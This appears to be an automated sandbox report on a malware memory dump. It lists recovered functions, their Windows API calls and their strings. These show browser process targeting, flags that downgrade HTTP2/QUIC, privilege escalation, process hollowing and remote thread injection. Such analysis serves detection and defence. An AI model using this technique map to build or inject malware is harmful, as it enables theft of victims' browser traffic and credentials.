Opcode ID: f1daa5211395680f3f5c65087694303f7989fd7500663c9bb10338a0adaf5319
Instruction ID: 9fea46f7be267c082ea80debf7026587fd2af04f32d1205bc19ddd8050e58a2f
Opcode Fuzzy Hash: f1daa5211395680f3f5c65087694303f7989fd7500663c9bb10338a0adaf5319
Instruction Fuzzy Hash: A6034879742F0599EA409B55F8847D633B9BF49B99FC0822AD8C903725EFB8E1D4C342

Function 10A517F0 Relevance: 80.8, APIs: 34, Strings: 12, Instructions: 262
stringfilethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 10A52650: WideCharToMultiByte.KERNEL32 ref: 10A52693

malloc.LIBCMT ref: 10A51878

Part of subcall function 10A696CC: _FF_MSGBANNER.LIBCMT ref: 10A696FC
Part of subcall function 10A696CC: _NMSG_WRITE.LIBCMT ref: 10A69706
Part of subcall function 10A696CC: HeapAlloc.KERNEL32 ref: 10A69721
Part of subcall function 10A696CC: _callnewh.LIBCMT ref: 10A6973A
Part of subcall function 10A696CC: _errno.LIBCMT ref: 10A69745
Part of subcall function 10A696CC: _errno.LIBCMT ref: 10A69750

PathFindFileNameA.SHLWAPI ref: 10A51883
lstrcpyA.KERNEL32 ref: 10A51897
SHGetFolderPathA.SHELL32 ref: 10A518CF
lstrcatA.KERNEL32 ref: 10A518E0
lstrcatA.KERNEL32 ref: 10A518F1
PathFileExistsA.SHLWAPI ref: 10A518FB
lstrcmpiA.KERNEL32 ref: 10A51920
lstrcmpiA.KERNEL32 ref: 10A51934
lstrcmpiA.KERNEL32 ref: 10A51948
lstrcmpiA.KERNEL32 ref: 10A5195C
lstrcmpiA.KERNEL32 ref: 10A51970
lstrcmpiA.KERNEL32 ref: 10A51984
lstrcmpiA.KERNEL32 ref: 10A51998
lstrcatA.KERNEL32 ref: 10A519AC
lstrcmpiA.KERNEL32 ref: 10A519CA
PathFindFileNameW.SHLWAPI ref: 10A519E6
CreateThread.KERNEL32 ref: 10A51A03
TerminateProcess.KERNEL32 ref: 10A51AC7
wsprintfA.USER32 ref: 10A51AFD
CreateFileA.KERNEL32 ref: 10A51B2F
WriteFile.KERNEL32 ref: 10A51B4F
WriteFile.KERNEL32 ref: 10A51B6B
lstrlenA.KERNEL32 ref: 10A51B7E
WriteFile.KERNEL32 ref: 10A51B9E
WriteFile.KERNEL32 ref: 10A51BB9
lstrlenA.KERNEL32 ref: 10A51BC2
WriteFile.KERNEL32 ref: 10A51BE2
WriteFile.KERNEL32 ref: 10A51BFD
CloseHandle.KERNEL32 ref: 10A51C06
free.LIBCMT ref: 10A51C0F
free.LIBCMT ref: 10A51C17
free.LIBCMT ref: 10A51C1F
free.LIBCMT ref: 10A51C28

Part of subcall function 10A6968C: HeapFree.KERNEL32 ref: 10A696A2
Part of subcall function 10A6968C: _errno.LIBCMT ref: 10A696AC
Part of subcall function 10A6968C: GetLastError.KERNEL32 ref: 10A696B4

Strings

--disable-http2 --use-spdy=off --disable-quic, xrefs: 10A519A2
\\.\pipe\%s, xrefs: 10A51AEF
brave.exe, xrefs: 10A51952
trusteer, xrefs: 10A518E6
msedge.exe, xrefs: 10A5193E
opera.exe, xrefs: 10A5192A
AVGBrowser.exe, xrefs: 10A5198E
AvastBrowser.exe, xrefs: 10A5197A
browser.exe, xrefs: 10A51966
chrome.exe, xrefs: 10A5190F
firefox.exe, xrefs: 10A519C0
Diamotrixed, xrefs: 10A51AE8

Memory Dump Source

Source File: 00000003.00000002.3352603162.0000000010A50000.00000040.00000001.00020000.00000000.sdmp, Offset: 10A50000, based on PE: true

Associated: 00000003.00000002.3352603162.0000000010A98000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3352603162.0000000010A9B000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10a50000_explorer.jbxd

Yara matches

Similarity

API ID: File$lstrcmpi$Write$Pathfree$_errnolstrcat$CreateFindHeapNamelstrlen$AllocByteCharCloseErrorExistsFolderFreeHandleLastMultiProcessTerminateThreadWide_callnewhlstrcpymallocwsprintf
String ID: --disable-http2 --use-spdy=off --disable-quic$AVGBrowser.exe$AvastBrowser.exe$Diamotrixed$\\.\pipe\%s$brave.exe$browser.exe$chrome.exe$firefox.exe$msedge.exe$opera.exe$trusteer
API String ID: 3240663557-511764017
Opcode ID: 9116a946a4ba4c64eb93576db9d4acad628b11f9dd566b416aba000ba00c21cb
Instruction ID: fc3a6cd62d5cdafe2689366f1004705ea53db6eb5648a42be779a3d970eb6917
Opcode Fuzzy Hash: 9116a946a4ba4c64eb93576db9d4acad628b11f9dd566b416aba000ba00c21cb
Instruction Fuzzy Hash: 20C17036704B45C6EB14CF22E8543E977A1FB89B88F804119DE8E47B28DF79D18ACB41

Function 10A57E80 Relevance: 9.1, APIs: 6, Instructions: 73
memorythreadCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcessId.KERNEL32 ref: 10A57EDB
GetCurrentThreadId.KERNEL32 ref: 10A57EE7
HeapAlloc.KERNEL32 ref: 10A57F11
HeapReAlloc.KERNEL32 ref: 10A57F3A
Thread32Next.KERNEL32 ref: 10A57F70
CloseHandle.KERNEL32 ref: 10A57F80

Memory Dump Source

Source File: 00000003.00000002.3352603162.0000000010A50000.00000040.00000001.00020000.00000000.sdmp, Offset: 10A50000, based on PE: true

Associated: 00000003.00000002.3352603162.0000000010A98000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3352603162.0000000010A9B000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10a50000_explorer.jbxd

Yara matches

Similarity

API ID: AllocCurrentHeap$CloseHandleNextProcessThreadThread32
String ID:
API String ID: 3234909527-0
Opcode ID: dd7448d3b2258390942cc6f186a652c137c1e7a8dbb80dfcbe5928b89c6b3c77
Instruction ID: ca9477985e78258ddae1a345ee866e8ea26ebf7226a66d3f898c02576f7f331d
Opcode Fuzzy Hash: dd7448d3b2258390942cc6f186a652c137c1e7a8dbb80dfcbe5928b89c6b3c77
Instruction Fuzzy Hash: 0A317C32204B4486EB10CF21F45075EB7A1FB89BD8F848229EA9D47798EF7CC949CB41

Function 10A67920 Relevance: 36.8, APIs: 13, Strings: 8, Instructions: 92
stringsynchronizationthreadCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameA.KERNEL32 ref: 10A67965
PathFindFileNameA.SHLWAPI ref: 10A67970
lstrcmpiA.KERNEL32 ref: 10A67983
CreateThread.KERNEL32 ref: 10A679B3
OpenMutexA.KERNEL32 ref: 10A679C7
WaitForSingleObject.KERNEL32 ref: 10A679D6
CloseHandle.KERNEL32 ref: 10A679DF

Part of subcall function 10A67AC0: Sleep.KERNEL32 ref: 10A67AE0
Part of subcall function 10A67AC0: CreateProcessW.KERNEL32 ref: 10A67B7D
Part of subcall function 10A67AC0: CloseHandle.KERNEL32 ref: 10A67B88
Part of subcall function 10A67AC0: CloseHandle.KERNEL32 ref: 10A67B93

lstrcmpiA.KERNEL32 ref: 10A679FC
lstrcmpiA.KERNEL32 ref: 10A67A15
lstrcmpiA.KERNEL32 ref: 10A67A30
lstrcmpiA.KERNEL32 ref: 10A67A4C
lstrcmpiA.KERNEL32 ref: 10A67A68
lstrcmpiA.KERNEL32 ref: 10A67A84

Strings

brave.exe, xrefs: 10A67A5E
explorer.exe, xrefs: 10A67976
msedge.exe, xrefs: 10A67A26
opera.exe, xrefs: 10A67A42
GqgWzd, xrefs: 10A679B9
browser.exe, xrefs: 10A67A7A
chrome.exe, xrefs: 10A67A0B
firefox.exe, xrefs: 10A679F2

Memory Dump Source

Source File: 00000003.00000002.3352603162.0000000010A50000.00000040.00000001.00020000.00000000.sdmp, Offset: 10A50000, based on PE: true

Associated: 00000003.00000002.3352603162.0000000010A98000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3352603162.0000000010A9B000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10a50000_explorer.jbxd

Yara matches

Similarity

API ID: lstrcmpi$CloseHandle$CreateFileName$FindModuleMutexObjectOpenPathProcessSingleSleepThreadWait
String ID: GqgWzd$brave.exe$browser.exe$chrome.exe$explorer.exe$firefox.exe$msedge.exe$opera.exe
API String ID: 1629314801-3734278510
Opcode ID: eb0479131c42b16b6b4081117822567d2d2ea32956ea4494d5a100202a859142
Instruction ID: 2de34d26c2443e56b41233df305c716e7efd2ed940203237438e2e10a15c0007
Opcode Fuzzy Hash: eb0479131c42b16b6b4081117822567d2d2ea32956ea4494d5a100202a859142
Instruction Fuzzy Hash: 9741AB35324B8585EB54DB21ED547EE33A1FF88BC5FC49029E98A47664EFB8C189C701

Function 10A59740 Relevance: 16.6, APIs: 11, Instructions: 112
memoryfileCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileW.KERNEL32 ref: 10A59774
GetFileSize.KERNEL32 ref: 10A597A7
GetProcessHeap.KERNEL32 ref: 10A597B0
HeapAlloc.KERNEL32 ref: 10A597C1
ReadFile.KERNEL32 ref: 10A597E5
GetProcessHeap.KERNEL32 ref: 10A597F9
HeapFree.KERNEL32 ref: 10A59807
CloseHandle.KERNEL32 ref: 10A59810

Memory Dump Source

Source File: 00000003.00000002.3352603162.0000000010A50000.00000040.00000001.00020000.00000000.sdmp, Offset: 10A50000, based on PE: true

Associated: 00000003.00000002.3352603162.0000000010A98000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3352603162.0000000010A9B000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10a50000_explorer.jbxd

Yara matches

Similarity

API ID: Heap$File$Process$AllocCloseCreateFreeHandleReadSize
String ID:
API String ID: 3250796435-0
Opcode ID: b053f56393df49f046b32c5de7bfa3eb887973084eefd092d2588bea67fd372c
Instruction ID: bf27700add7fb9793fdd23f370c3ecb1659e8a04adfa900b7eb95cb1748ac5f5
Opcode Fuzzy Hash: b053f56393df49f046b32c5de7bfa3eb887973084eefd092d2588bea67fd372c
Instruction Fuzzy Hash: EE41BE31310B45C6EB408F26A84479A77A4FB8ABD4F458229DE8E47B54EF39D18AC710

Function 10A59450 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 53
stringCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 10A59320: GetWindowsDirectoryW.KERNEL32 ref: 10A59373
Part of subcall function 10A59320: GetVolumeInformationW.KERNEL32 ref: 10A593C2
Part of subcall function 10A59320: wsprintfW.USER32 ref: 10A59424

SHGetFolderPathW.SHELL32 ref: 10A594B5
lstrcatW.KERNEL32 ref: 10A594C5
lstrcatW.KERNEL32 ref: 10A594D3
CreateDirectoryW.KERNEL32 ref: 10A594DE
SetFileAttributesW.KERNEL32 ref: 10A594EC
lstrcatW.KERNEL32 ref: 10A594FC
lstrcatW.KERNEL32 ref: 10A5950A
lstrcatW.KERNEL32 ref: 10A5951A

Strings

.exe, xrefs: 10A59510

Memory Dump Source

Source File: 00000003.00000002.3352603162.0000000010A50000.00000040.00000001.00020000.00000000.sdmp, Offset: 10A50000, based on PE: true

Associated: 00000003.00000002.3352603162.0000000010A98000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3352603162.0000000010A9B000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10a50000_explorer.jbxd

Yara matches

Similarity

API ID: lstrcat$Directory$AttributesCreateFileFolderInformationPathVolumeWindowswsprintf
String ID: .exe
API String ID: 1846285901-4119554291
Opcode ID: f90fdb875df4c0880741e59481e3687812dbb59c7a4731152bb87a914a6291e9
Instruction ID: e58e7326d205937108af72f7f6b2279a61c9dc9f39ba7dfe8f4bff1930ea15e1
Opcode Fuzzy Hash: f90fdb875df4c0880741e59481e3687812dbb59c7a4731152bb87a914a6291e9
Instruction Fuzzy Hash: 57215632318B4586EB50CF21F81839D33A0FB89781F81A139EA9E87714EF7AC148C701

Function 10A59320 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 69
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetWindowsDirectoryW.KERNEL32 ref: 10A59373
GetVolumeInformationW.KERNEL32 ref: 10A593C2
wsprintfW.USER32 ref: 10A59424

Strings

:, xrefs: 10A593B0
%08lX%04lX%lu, xrefs: 10A59416

Memory Dump Source

Source File: 00000003.00000002.3352603162.0000000010A50000.00000040.00000001.00020000.00000000.sdmp, Offset: 10A50000, based on PE: true

Associated: 00000003.00000002.3352603162.0000000010A98000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3352603162.0000000010A9B000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10a50000_explorer.jbxd

Yara matches

Similarity

API ID: DirectoryInformationVolumeWindowswsprintf
String ID: %08lX%04lX%lu$:
API String ID: 3001812590-1109288774
Opcode ID: df5d9908c95f7d8336e596820d4d77060eeafd59264599216909aa6997f467bc
Instruction ID: 1eec3e5a1a9d0ee04fac7c2aa687fa2c8734e70981bc20aba2e386e5cb98d204
Opcode Fuzzy Hash: df5d9908c95f7d8336e596820d4d77060eeafd59264599216909aa6997f467bc
Instruction Fuzzy Hash: 7A310936228780D6D710CF65E49079AB7B4FB99384F94502AEB8987A28EB7DC549CF10

Function 10A67BC0 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 16
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenMutexA.KERNEL32 ref: 10A67BDE
CloseHandle.KERNEL32 ref: 10A67BEA
Sleep.KERNEL32 ref: 10A67BFF

Strings

GqgWzd, xrefs: 10A67BD0

Memory Dump Source

Source File: 00000003.00000002.3352603162.0000000010A50000.00000040.00000001.00020000.00000000.sdmp, Offset: 10A50000, based on PE: true

Associated: 00000003.00000002.3352603162.0000000010A98000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3352603162.0000000010A9B000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10a50000_explorer.jbxd

Yara matches

Similarity

API ID: CloseHandleMutexOpenSleep
String ID: GqgWzd
API String ID: 2969294566-924881338
Opcode ID: 79162a518d3862c3d10ef4fc500bb2e324edf4a6fcd8fa739012e5a10f70a2b3
Instruction ID: d21a6b62175307b2489e4e623cb85e16782b36d5d01f94ddf78c2e16cbd1a17d
Opcode Fuzzy Hash: 79162a518d3862c3d10ef4fc500bb2e324edf4a6fcd8fa739012e5a10f70a2b3
Instruction Fuzzy Hash: 0FE0123072164585EA48ABA198143D966B1FF5DB85F888438D98B17750FE7844C48382

Function 10A585B0 Relevance: 6.0, APIs: 4, Instructions: 34
threadmemoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenThread.KERNEL32 ref: 10A585DC
ResumeThread.KERNEL32 ref: 10A585ED
CloseHandle.KERNEL32 ref: 10A585F6
HeapFree.KERNEL32 ref: 10A58614

Memory Dump Source

Source File: 00000003.00000002.3352603162.0000000010A50000.00000040.00000001.00020000.00000000.sdmp, Offset: 10A50000, based on PE: true

Associated: 00000003.00000002.3352603162.0000000010A98000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3352603162.0000000010A9B000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10a50000_explorer.jbxd

Yara matches

Similarity

API ID: Thread$CloseFreeHandleHeapOpenResume
String ID:
API String ID: 993137029-0
Opcode ID: 59f3469ddf091b275de81399f9844ce56b3cf2b451bb9255c0b4d555c76b038d
Instruction ID: c749a10f4c4e6a337ff1864d45e81b2f1da0595525bded6fd1989226f3dbfd4c
Opcode Fuzzy Hash: 59f3469ddf091b275de81399f9844ce56b3cf2b451bb9255c0b4d555c76b038d
Instruction Fuzzy Hash: 3E016936616B84C2EB44CF26E8903597361FB88FD4F848029DB4A13B24DF79D5AACB00

Function 10A570E0 Relevance: 4.6, APIs: 3, Instructions: 102
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemInfo.KERNEL32 ref: 10A570FC
VirtualAlloc.KERNEL32 ref: 10A5719C
VirtualAlloc.KERNEL32 ref: 10A571EC

Memory Dump Source

Source File: 00000003.00000002.3352603162.0000000010A50000.00000040.00000001.00020000.00000000.sdmp, Offset: 10A50000, based on PE: true

Associated: 00000003.00000002.3352603162.0000000010A98000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3352603162.0000000010A9B000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10a50000_explorer.jbxd

Yara matches

Similarity

API ID: AllocVirtual$InfoSystem
String ID:
API String ID: 2622297391-0
Opcode ID: de47bf02c65525b3e5c5cf2996757f4f8b689eee8957f68bae87d5d5efbacf57
Instruction ID: 5049615fa7756c09d6c386a8a0006cf8aef2c94907effb2eb3a4c5630a328256
Opcode Fuzzy Hash: de47bf02c65525b3e5c5cf2996757f4f8b689eee8957f68bae87d5d5efbacf57
Instruction Fuzzy Hash: 64316931712B5185EF118F12F41039E7AA1FB49BC8F484235EF8D2BB28EB79C8898741

Function 10A57D20 Relevance: 4.6, APIs: 3, Instructions: 73
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNEL32 ref: 10A57D6A
VirtualProtect.KERNEL32 ref: 10A57DD3
FlushInstructionCache.KERNEL32 ref: 10A57DE8

Memory Dump Source

Source File: 00000003.00000002.3352603162.0000000010A50000.00000040.00000001.00020000.00000000.sdmp, Offset: 10A50000, based on PE: true

Associated: 00000003.00000002.3352603162.0000000010A98000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3352603162.0000000010A9B000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10a50000_explorer.jbxd

Yara matches

Similarity

API ID: ProtectVirtual$CacheFlushInstruction
String ID:
API String ID: 882653843-0
Opcode ID: 9601299265cffe8182ae656f98b40eb6c7535b85eb9a90772e96f75ea20f71e0
Instruction ID: f7ee22e1597c5b4ee8606e44e09e838fcd4027bc58a5b900da6818a4c9392c0d
Opcode Fuzzy Hash: 9601299265cffe8182ae656f98b40eb6c7535b85eb9a90772e96f75ea20f71e0
Instruction Fuzzy Hash: 6A3189B320868186D7118F35A5003AD7B70FB09F88F498216EF984779ACB7CD495CB55

Function 10A58070 Relevance: 4.5, APIs: 3, Instructions: 45
threadinjectionCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 10A57E80: GetCurrentProcessId.KERNEL32 ref: 10A57EDB
Part of subcall function 10A57E80: GetCurrentThreadId.KERNEL32 ref: 10A57EE7
Part of subcall function 10A57E80: HeapAlloc.KERNEL32 ref: 10A57F11
Part of subcall function 10A57E80: Thread32Next.KERNEL32 ref: 10A57F70
Part of subcall function 10A57E80: CloseHandle.KERNEL32 ref: 10A57F80

OpenThread.KERNEL32 ref: 10A580BE
SuspendThread.KERNEL32 ref: 10A580CF

Part of subcall function 10A58470: GetThreadContext.KERNEL32 ref: 10A584A4
Part of subcall function 10A58470: SetThreadContext.KERNEL32 ref: 10A58564

CloseHandle.KERNEL32 ref: 10A580E6

Memory Dump Source

Source File: 00000003.00000002.3352603162.0000000010A50000.00000040.00000001.00020000.00000000.sdmp, Offset: 10A50000, based on PE: true

Associated: 00000003.00000002.3352603162.0000000010A98000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3352603162.0000000010A9B000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10a50000_explorer.jbxd

Yara matches

Similarity

API ID: Thread$CloseContextCurrentHandle$AllocHeapNextOpenProcessSuspendThread32
String ID:
API String ID: 4205413918-0
Opcode ID: bf31ed94d70be6466f5c7d27e9e27609f51f1945293116d9b6c20b3f27308a9d
Instruction ID: a082d7b8910dd8e330a29113db735b75655c46c087a9bdafe6321a27f0c5c515
Opcode Fuzzy Hash: bf31ed94d70be6466f5c7d27e9e27609f51f1945293116d9b6c20b3f27308a9d
Instruction Fuzzy Hash: EA015E36215B8486D714DF16A48051EB7A0F789BC4F449128DF9913B18CF39D5AACB04

Function 10A58380 Relevance: 1.5, APIs: 1, Instructions: 31
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 10A57E30: Sleep.KERNEL32 ref: 10A57E5C

HeapCreate.KERNEL32 ref: 10A5839D

Memory Dump Source

Source File: 00000003.00000002.3352603162.0000000010A50000.00000040.00000001.00020000.00000000.sdmp, Offset: 10A50000, based on PE: true

Associated: 00000003.00000002.3352603162.0000000010A98000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3352603162.0000000010A9B000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10a50000_explorer.jbxd

Yara matches

Similarity

API ID: CreateHeapSleep
String ID:
API String ID: 221814145-0
Opcode ID: 4c4f45cb6a6cbc78b2c4c03e8ac96ba245bdaa5670f6ba292475323c111a2f6e
Instruction ID: f704c32563a1023e0e810504b54ee535365aa32467b88354082a6f7293ccc202
Opcode Fuzzy Hash: 4c4f45cb6a6cbc78b2c4c03e8ac96ba245bdaa5670f6ba292475323c111a2f6e
Instruction Fuzzy Hash: 3FE09228B02B0443FB15ABB5699335E1141FF08351F481938EE481A341EE7CA8EE5766

Non-executed Functions

Function 10A7A872 Relevance: 35.5, APIs: 28, Instructions: 461COMMON

Download Yara Rule

APIs

Part of subcall function 10A51F80: char_traits.LIBCPMT ref: 10A51FBE

_CxxThrowException.LIBCMT ref: 10A7A891

Part of subcall function 10A6978C: RtlPcToFileHeader.NTDLL ref: 10A6981B
Part of subcall function 10A6978C: RaiseException.KERNEL32 ref: 10A6985A

_CxxThrowException.LIBCMT ref: 10A7A8B1
_CxxThrowException.LIBCMT ref: 10A7A8EE
_CxxThrowException.LIBCMT ref: 10A7A91A
_CxxThrowException.LIBCMT ref: 10A7A93A
_CxxThrowException.LIBCMT ref: 10A7A96E
_CxxThrowException.LIBCMT ref: 10A7A9AE
_CxxThrowException.LIBCMT ref: 10A7A9D1
_CxxThrowException.LIBCMT ref: 10A7A9F1
_CxxThrowException.LIBCMT ref: 10A7AA11
_CxxThrowException.LIBCMT ref: 10A7AA31
_CxxThrowException.LIBCMT ref: 10A7AA51
_CxxThrowException.LIBCMT ref: 10A7AA71
_CxxThrowException.LIBCMT ref: 10A7AA91
_CxxThrowException.LIBCMT ref: 10A7AABA
_CxxThrowException.LIBCMT ref: 10A7AADA
_CxxThrowException.LIBCMT ref: 10A7AAFA
_CxxThrowException.LIBCMT ref: 10A7AB1A
_CxxThrowException.LIBCMT ref: 10A7AB44
_CxxThrowException.LIBCMT ref: 10A7AB6E
_CxxThrowException.LIBCMT ref: 10A7AB9A
_CxxThrowException.LIBCMT ref: 10A7ABD1
_CxxThrowException.LIBCMT ref: 10A7ABE8
_CxxThrowException.LIBCMT ref: 10A7AC1E
_CxxThrowException.LIBCMT ref: 10A7AC5E
_CxxThrowException.LIBCMT ref: 10A7AC8A
_CxxThrowException.LIBCMT ref: 10A7ACAA
_CxxThrowException.LIBCMT ref: 10A7ACC1

Memory Dump Source

Source File: 00000003.00000002.3352603162.0000000010A50000.00000040.00000001.00020000.00000000.sdmp, Offset: 10A50000, based on PE: true

Associated: 00000003.00000002.3352603162.0000000010A98000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3352603162.0000000010A9B000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10a50000_explorer.jbxd

Yara matches

Similarity

API ID: Exception$Throw$FileHeaderRaisechar_traits
String ID:
API String ID: 1722249982-0
Opcode ID: 7fae99fe204c375ef2b857b3db7e9b56999b5be0da53acbf3e48e5b9b0576df3
Instruction ID: b9414b4e7e35c636e1f778876de79c58811334069c4bc784593b541c9826251a
Opcode Fuzzy Hash: 7fae99fe204c375ef2b857b3db7e9b56999b5be0da53acbf3e48e5b9b0576df3
Instruction Fuzzy Hash: 5991426A711A448ADB1CEF72AD520BE2366F7D47C0F18D93ABE5A4FA08CF75D4218740

Function 10A51370 Relevance: 31.7, APIs: 17, Strings: 1, Instructions: 179fileinjectionprocessCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32 ref: 10A513C8
GetFileSize.KERNEL32 ref: 10A513F3
malloc.LIBCMT ref: 10A513FD
ReadFile.KERNEL32 ref: 10A51418
CloseHandle.KERNEL32 ref: 10A51421
CreateProcessA.KERNEL32 ref: 10A51484
GetThreadContext.KERNEL32 ref: 10A514EF
VirtualAllocEx.KERNEL32 ref: 10A51518
WriteProcessMemory.KERNEL32 ref: 10A51537
WriteProcessMemory.KERNEL32 ref: 10A5157C

Strings

@, xrefs: 10A51510

Memory Dump Source

Source File: 00000003.00000002.3352603162.0000000010A50000.00000040.00000001.00020000.00000000.sdmp, Offset: 10A50000, based on PE: true

Associated: 00000003.00000002.3352603162.0000000010A98000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3352603162.0000000010A9B000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10a50000_explorer.jbxd

Yara matches

Similarity

API ID: FileProcess$CreateMemoryWrite$AllocCloseContextHandleReadSizeThreadVirtualmalloc
String ID: @
API String ID: 596952117-2766056989
Opcode ID: 72416285b19d92f3d317a0272894f5a4096a303f523a6f79f279e681f8c24e07
Instruction ID: 283afa3ad010e582b3c4853e4813d38d242376add378a3a184187e01aba31727
Opcode Fuzzy Hash: 72416285b19d92f3d317a0272894f5a4096a303f523a6f79f279e681f8c24e07
Instruction Fuzzy Hash: 0D812A76704B80CAEB60CF62E84479EB7A4FB88B98F414219EE8D47B18DF78D555CB40

Function 10A52EE0 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 140COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 10A52E00: CreateToolhelp32Snapshot.KERNEL32 ref: 10A52E31
Part of subcall function 10A52E00: Process32First.KERNEL32 ref: 10A52E4F
Part of subcall function 10A52E00: Process32Next.KERNEL32 ref: 10A52E6F
Part of subcall function 10A52E00: Process32Next.KERNEL32 ref: 10A52E97

GetCurrentProcess.KERNEL32 ref: 10A52F53
OpenProcessToken.ADVAPI32 ref: 10A52F63
LookupPrivilegeValueA.ADVAPI32 ref: 10A52F81
AdjustTokenPrivileges.ADVAPI32 ref: 10A52FA9
CloseHandle.KERNEL32 ref: 10A52FB3
OpenProcess.KERNEL32 ref: 10A53043
OpenProcess.KERNEL32 ref: 10A5305A
CloseHandle.KERNEL32 ref: 10A5308D

Strings

SeDebugPrivilege, xrefs: 10A52F71
firefox.exe, xrefs: 10A53025

Memory Dump Source

Source File: 00000003.00000002.3352603162.0000000010A50000.00000040.00000001.00020000.00000000.sdmp, Offset: 10A50000, based on PE: true

Associated: 00000003.00000002.3352603162.0000000010A98000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3352603162.0000000010A9B000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10a50000_explorer.jbxd

Yara matches

Similarity

API ID: Process$OpenProcess32$CloseHandleNextToken$AdjustCreateCurrentFirstLookupPrivilegePrivilegesSnapshotToolhelp32Value
String ID: SeDebugPrivilege$firefox.exe
API String ID: 3464871389-4009583425
Opcode ID: 8f3e1acc0248e2759dd5966139acb844f331417ac84fb33f54c5c3b709017e23
Instruction ID: 4d3f9e870276af3aa9ffac368cfb47f2294ebc89f4d91eae3de9a03cbb355422
Opcode Fuzzy Hash: 8f3e1acc0248e2759dd5966139acb844f331417ac84fb33f54c5c3b709017e23
Instruction Fuzzy Hash: 29518C36704B4196EB00DBB2E5153ED73A2FB89BC8F8084259E4A57B58EF78D54DC380

Function 10A59110 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 86injectionmemorythreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

VirtualAllocEx.KERNEL32 ref: 10A5918D
WriteProcessMemory.KERNEL32 ref: 10A591B3
VirtualProtectEx.KERNEL32 ref: 10A591D7
CreateRemoteThread.KERNEL32 ref: 10A59204

Strings

@, xrefs: 10A5917D

Memory Dump Source

Source File: 00000003.00000002.3352603162.0000000010A50000.00000040.00000001.00020000.00000000.sdmp, Offset: 10A50000, based on PE: true

Associated: 00000003.00000002.3352603162.0000000010A98000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3352603162.0000000010A9B000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10a50000_explorer.jbxd

Yara matches

Similarity

API ID: Virtual$AllocCreateMemoryProcessProtectRemoteThreadWrite
String ID: @
API String ID: 1113946311-2766056989
